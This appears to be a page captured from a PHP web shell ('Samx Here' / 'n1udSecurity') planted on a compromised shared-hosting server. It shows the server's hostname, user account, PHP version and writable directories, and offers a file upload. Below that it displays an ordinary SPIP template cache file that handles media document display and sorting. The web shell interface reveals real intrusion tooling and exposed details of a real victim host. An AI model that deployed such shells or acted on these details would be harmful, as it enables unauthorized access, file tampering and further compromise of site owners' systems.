Samx Here
n1udSecurity


Server : Apache
System : Linux webd348.cluster026.gra.hosting.ovh.net 5.15.148-ovh-vps-grsec-zfs-classid #1 SMP Thu Feb 8 09:41:04 UTC 2024 x86_64
User : hednacluml ( 122243)
PHP Version : 8.3.9
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
Directory :  /home/hednacluml/genius/tmp/cache/skel/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/hednacluml/genius/tmp/cache/skel/html_d07bae6775fef5cef405f10606409d40.php
<?php

/*
 * Squelette : ../plugins-dist/medias/javascript/gestion_listes_documents.js.html
 * Date :      Fri, 22 Sep 2023 18:14:33 GMT
 * Compile :   Thu, 12 Oct 2023 14:07:24 GMT
 * Boucles :   
 */ 
//
// Fonction principale du squelette ../plugins-dist/medias/javascript/gestion_listes_documents.js.html
// Temps de compilation total: 0.130 ms
//

function html_d07bae6775fef5cef405f10606409d40($Cache, $Pile, $doublons = array(), $Numrows = array(), $SP = 0) {

	if (isset($Pile[0]["doublons"]) AND is_array($Pile[0]["doublons"]))
		$doublons = nettoyer_env_doublons($Pile[0]["doublons"]);

	$connect = '';
	$page = (
'<'.'?php header(' . _q((	'Content-Type: text/javascript; charset=' .
	interdire_scripts($GLOBALS['meta']['charset']))) . '); ?'.'>' .
'

/* Choix du mode affichage des documents (grand, en case, en liste courte) */
function choix_affichages_documents() {
	$(\'.portfolios__titre:not(:has(.affichages))\').each(function () {
		var titre = $(this);
		var liste = titre.next(\'.liste_items.documents\');
		var identifiant = liste.data(\'cookie-affichage\');

		titre.append(
			"<div class=\'affichages\'>"
			+ "<span class=\'icone grand on\' title=\'' .
attribut_html(_T('medias:affichage_documents_en_grand')) .
'\'></span>"
			+ "<span class=\'icone cases\' title=\'' .
attribut_html(_T('medias:affichage_documents_en_cases')) .
'\'></span>"
			+ "<span class=\'icone liste\' title=\'' .
attribut_html(_T('medias:affichage_documents_en_liste_compacte')) .
'\'></span>"
			+ "</div>"
		);

		var changer_affichage_documents = function (me, bouton, classe) {
			$(me).parent().find(\'.icone\').removeClass(\'on\').end().end().addClass(\'on\');
			var liste = $(me).parents(\'h3\').next(\'.liste_items.documents\');
			liste.removeClass(\'documents_cases\').removeClass(\'documents_liste\');
			if (classe) {
				liste.addClass(classe);
			}
			if (identifiant) {
				Cookies.set(\'affichage-\' + identifiant, bouton, {SameSite: \'Strict\'});
			}

			liste.trigger(\'affichage.documents.change\', {
				\'liste\': liste,
				\'icone\': me,
				\'bouton\': bouton,
				\'classe\': classe,
				\'identifiant\': identifiant
			});

		};

		titre.find(\'.affichages > .grand\').click(function () {
			changer_affichage_documents(this, \'grand\', null);
		});

		titre.find(\'.affichages > .cases\').click(function () {
			changer_affichage_documents(this, \'cases\', \'documents_cases\');
		});

		titre.find(\'.affichages > .liste\').click(function () {
			changer_affichage_documents(this, \'liste\', \'documents_liste\');
		});

		if (identifiant) {
			var defaut = Cookies.get(\'affichage-\' + identifiant);
			if (defaut) {
				titre.find(\'.affichages > .\' + defaut).trigger(\'click\');
			}
			liste.trigger(\'affichage.documents.charge\', {
				\'liste\': liste,
				\'identifiant\': identifiant,
				\'defaut\': defaut
			});
		}
	});
}

/* Gestion du tri des listes de documents et de leur enregistrement */
function ordonner_listes_documents() {

	if (typeof Sortable === \'function\') {
		$(".liste_items.documents.ordonner_rang_lien[data-lien]").find(\'> .sortable\').each(function () {
			// détruire / recréer le sortable à chaque appel ajax
			if (Sortable.get(this)) {
				Sortable.get(this).destroy();
			}
			// pas de tri possible s\'il n\'y a qu\'un seul élément.
			if ($(this).find(\'> .item\').length < 2) {
				$(this).find(\'.deplacer-document\').hide();
				$(this).parent().find(\'.tout_desordonner\').hide();
				return true; // continue
			} else {
				$(this).find(\'.deplacer-document\').show();
			}
			new Sortable(this, {
				/*direction: \'vertical\',*/ /* minidoc a un affichage en case */
				swapThreshold: .8,
				ghostClass: "deplacer-document-placeholder",
				onStart: function(event) {
					$(event.item).addClass(\'document-en-mouvement\');
				},
				onEnd: function(event) {
					$(event.item).removeClass(\'document-en-mouvement\');
				},
				onUpdate: function (event) {
					const ordre = this.toArray();
					const $items = $(event.from);
					const $item = $(event.item);

					// l\'objet lié est indiqué dans l\'attribut data-lien sur la liste
					const [objet_lie, id_objet_lie] = $items.parents(".liste_items.documents").data("lien").split("/");
					const action = \'' .
generer_url_action('ordonner_liens_documents','','1') .
'\';
					const params = {
						objet_source: \'document\',
						objet_lie: objet_lie,
						id_objet_lie: id_objet_lie,
						ordre: ordre,
					};

					$item.animateLoading();

					$.post({
						url: action,
						data: params,
						dataType: \'json\',
						cache: false,
					}).done(function(data) {

						const couleur_origine = $item.css(\'background-color\');
						const couleur_erreur = $("<div class=\'remove\'></div>").css(\'background-color\');
						const couleur_succes = $("<div class=\'append\'></div>").css(\'background-color\');
						$item.endLoading(true);

						if (data.errors.length) {
							$item.css({backgroundColor: couleur_erreur}).animate({backgroundColor: couleur_origine}, \'normal\', () => {
								$item.css({backgroundColor: \'\'});
							});
						} else {
							$item.css({backgroundColor: couleur_succes}).animate({backgroundColor: couleur_origine}, \'normal\', () => {
								$item.css({backgroundColor: \'\'});
							});
							$items.parent().find(\'.tout_desordonner\').show();
						}
					});
				}
			});

			// bouton "désordonner"
			if ($(this).parent().find(\'.deplacer-document[data-rang!=0]\').length) {
				$(this).parent().find(\'.tout_desordonner\').show();
			} else {
				$(this).parent().find(\'.tout_desordonner\').hide();
			}
		});
	}
}

/* Recharger le conteneur des listes de documents si l\'une d\'elle est vide */
function check_reload_page(){
	var reload = false;
	$(\'.portfolios\').each(function(){
		$(this).find(\'.liste-items.documents\').each(function() {
			if ($(this).length && !$(this).find(\'.item\').length) {
				$(this).parents(\'.portfolios\').ajaxReload();
				reload = true;
				return false; // break each
			}
		});
	});
	if (reload) {
		jQuery(\'#navigation .box.info\').ajaxReload();
	}
}

/* Initialisation et relance en cas de chargement ajax */
if (window.jQuery) {
	jQuery(function($){
		if (!$.js_portfolio_documents_charge) {
			$.js_portfolio_documents_charge = true;
			onAjaxLoad(check_reload_page);
			choix_affichages_documents();
			onAjaxLoad(choix_affichages_documents);
			if (typeof Sortable === "undefined") {
				jQuery.getScript(\'' .
timestamp(find_in_path((string)'prive/javascript/Sortable.js')) .
'\').done(ordonner_listes_documents);
			} else {
				ordonner_listes_documents();
			}
			onAjaxLoad(ordonner_listes_documents);
		}
	});
}
');

	return analyse_resultat_skel('html_d07bae6775fef5cef405f10606409d40', $Cache, $page, '../plugins-dist/medias/javascript/gestion_listes_documents.js.html');
}

SAMX